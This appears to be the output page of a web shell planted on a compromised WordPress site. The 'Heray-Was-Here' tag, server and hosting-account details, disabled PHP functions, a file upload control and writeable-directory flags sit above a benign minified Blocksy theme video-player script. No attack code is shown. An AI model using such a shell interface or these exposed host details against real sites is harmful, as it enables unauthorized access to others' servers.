Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/public_html/wp-content/themes/blocksy/static/bundle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/public_html/wp-content/themes/blocksy/static/bundle/338.1e2754e25c438ef08cf9.js
"use strict";(globalThis.blocksyJsonP=globalThis.blocksyJsonP||[]).push([[338,957],{9948(e,t,n){n.d(t,{F:function(){return i}});const i=function(e){return e&&"[object Function]"==={}.toString.call(e)?e():e}},9680(e,t,n){n.d(t,{e:function(){return i}});const i=function(){return"undefined"!=typeof window&&window.navigator&&window.navigator.platform&&(/iP(ad|hone|od)/.test(window.navigator.platform)||"MacIntel"===window.navigator.platform&&window.navigator.maxTouchPoints>1)}},9338(e,t,n){n.d(t,{Hl:function(){return c},WY:function(){return r},_b:function(){return a},dP:function(){return i},iY:function(){return s},jw:function(){return o},k7:function(){return d}});const i=function(e){e.closest(".ct-media-container, .ct-dynamic-media").dataset.state="playing"},o=function(e){e&&(e.matches('iframe[src*="youtu"]')?e.contentWindow.postMessage(JSON.stringify({event:"command",func:"mute"}),"*"):e.matches('iframe[src*="vimeo"]')&&e.contentWindow.postMessage(JSON.stringify({method:"setMuted",value:!0}),"*"))},a=function(e){e&&(e.matches("video")?e.play():e.matches('iframe[src*="youtu"]')?e.contentWindow.postMessage(JSON.stringify({event:"command",func:"playVideo"}),"*"):e.matches('iframe[src*="vimeo"]')&&e.contentWindow.postMessage(JSON.stringify({method:"play"}),"*"))},s=function(e,t=function(){},n=function(){}){e&&(e.matches("video[autoplay]")||e.matches('iframe[src*="youtu"][src*="autoplay=1"]')||e.matches('iframe[src*="vimeo"][src*="autoplay=1"]')?(t(),a(e)):n())},c=function(e){e.closest(".ct-media-container, .ct-dynamic-media").dataset.state="paused"},r=function(e){if(e)if(e.matches("video"))e.pause();else if(e.matches('iframe[src*="youtu"]'))e.contentWindow.postMessage(JSON.stringify({event:"command",func:"pauseVideo"}),"*");else if(e.matches('iframe[src*="vimeo"]'))e.contentWindow.postMessage(JSON.stringify({method:"pause"}),"*");else if(e.matches("iframe")){const t=e.src;e.src="",e.src=t}},d=function(e,t=function(){}){if(e)return e.matches("video")?(t("ready"),e.addEventListener("play",function(){return t("play")}),void e.addEventListener("pause",function(){return t("pause")})):e.matches('iframe[src*="youtu"]')?(window.addEventListener("message",function(n){if(n.data&&n.source===e.contentWindow)try{const e=JSON.parse(n.data);"onStateChange"===e.event&&(1===e.info&&t("play"),2===e.info&&t("pause"))}catch(n){}}),void e.addEventListener("load",function(){e.contentWindow.postMessage(JSON.stringify({event:"listening",id:1,channel:"widget"}),"*"),e.contentWindow.postMessage(JSON.stringify({event:"command",func:"addEventListener",args:["onStateChange"],id:1,channel:"widget"}),"*"),t("ready")})):void(e.matches('iframe[src*="vimeo"]')&&window.addEventListener("message",function(n){if(n.data&&n.source===e.contentWindow)try{const i=JSON.parse(n.data);"ready"===i.event&&(e.contentWindow.postMessage(JSON.stringify({method:"addEventListener",value:"pause"}),"*"),e.contentWindow.postMessage(JSON.stringify({method:"addEventListener",value:"play"}),"*"),t(i.event)),"pause"!==i.event&&"play"!==i.event||t(i.event)}catch(n){}}))}},6338(e,t,n){n.r(t),n.d(t,{fetchVideoBy:function(){return r},mount:function(){return m}});var i=n(9338),o=n(9680),a=n(6555),s=n(9948);const c={},r=function(e,t={}){t={ignoreVideoOptions:!1,...t};let n=ct_localizations.ajax_url+"?action=blocksy_get_image_video_component&media="+e;return t.ignoreVideoOptions&&(n+="&ignore_video_options=true"),new Promise(function(e){(function(e){return c[e]?new Promise(function(t){t(c[e]),c[e]=c[e].clone()}):new Promise(function(t){return fetch(e).then(function(n){t(n),c[e]=n.clone()})})})(n).then(function(t){200===t.status&&t.json().then(function({success:t,data:n}){t&&e(n)})})})},d=function(e){e.querySelector(".ct-video-indicator").classList.add("loading");const t=e.dataset.state&&-1!==e.dataset.state.indexOf("hover")&&-1!==e.dataset.state.indexOf("revert");r(e.dataset.mediaId).then(function(n){const a=document.createElement("div");a.innerHTML=n.html;const s=a.firstChild;e.querySelector(".ct-dynamic-media-inner")?e.querySelector(".ct-dynamic-media-inner").insertAdjacentElement("beforeend",s):e.insertAdjacentElement("beforeend",s);const c=e.querySelector("video,iframe"),r=c.closest(".flexy-container[data-autoplay]"),d=r?.flexy;!function(e,t={}){t={onPause:function(){},onPlay:function(){},onReady:function(){},...t},e.isListeningForStateChanges||(e.isListeningForStateChanges=!0,(0,i.k7)(e,function(n){"pause"===n&&((0,i.Hl)(e),t.onPause()),"play"===n&&(t.onPlay(),(0,i.dP)(e)),"ready"===n&&t.onReady()}))}(c,{onPlay:function(){setTimeout(function(){e.querySelector(".ct-video-indicator").classList.remove("loading")},120),d&&(d.options={...d.options,autoplay:!1,_autoplay:!1})},onPause:function(){d&&(d.options={...d.options,autoplay:parseInt(r.dataset.autoplay),_autoplay:parseInt(r.dataset.autoplay)},d.state={...d.state,lastTimeAnimated:(new Date).getTime()}),t&&!e.classList.contains("ct-simplified-player")&&(e.dataset.state="hover:paused")},onReady:function(){(0,o.e)()&&(0,i.jw)(c),(0,i._b)(c)}})})},u=function(e){const t=ct_localizations.dynamic_styles_selectors.find(function(e){return".ct-media-container[data-media-id], .ct-dynamic-media[data-media-id]"===e.selector});t&&(0,a.MK)(t.url).then(function(){d(e)})};ctEvents.on("blocksy:frontend:flexy:slide-change",function({instance:e,payload:t}){const n=(0,s.F)(e.sliderContainer);[...n.querySelectorAll("video,iframe")].map(function(e){return(0,i.WY)(e)});const o=n.children[t.currentIndex].querySelector(".ct-media-container[data-media-id], .ct-dynamic-media[data-media-id]");if(!o)return;const a=o.querySelector("video,iframe");a?(0,i.iY)(a):f(o,{performVisibilityCheck:!1})}),ctEvents.on("blocksy:ajax:filters:done",function(){[...document.querySelectorAll(".ct-media-container[data-media-id]")].map(function(e){f(e)})});const f=function(e,t={}){if(t={performVisibilityCheck:!0,...t},!e.matches('[data-state*="autoplay"]'))return;let n=!0;if(t.performVisibilityCheck&&e.closest(".flexy-items")){const t=e.getBoundingClientRect(),i=e.closest(".flexy-items").getBoundingClientRect();n=t.left>=i.left&&t.left<=i.left+i.width&&t.top>=i.top&&t.top<=i.top+i.height}n&&(e.removeAttribute("data-state"),u(e))};let l=!1;const m=function(e,{event:t}){if(!t||"scroll"===t.type){if(l)return;l=!0;const e=function(){[...document.querySelectorAll(".ct-media-container[data-media-id], .ct-dynamic-media[data-media-id]")].map(function(e){f(e)})};return ctEvents.on("blocksy:frontend:init",function(){e()}),void e()}t&&"mouseover"===t.type&&(e.hasMouseLeaveListener||(e.hasMouseLeaveListener=!0,e.addEventListener("mouseenter",function(){const t=e.querySelector("video,iframe");(0,i._b)(t)}),-1!==e.dataset.state.indexOf("revert")&&e.addEventListener("mouseleave",function(){const t=e.querySelector("video,iframe");(0,i.WY)(t,{shouldRevert:!0})})));if(e.querySelector("video")&&!e.closest(".ct-simplified-player"))return;const n=e.querySelector("video,iframe");n?e.matches('[data-state="playing"]')?(0,i.WY)(n):(0,i._b)(n):u(e)}}}]);

Hry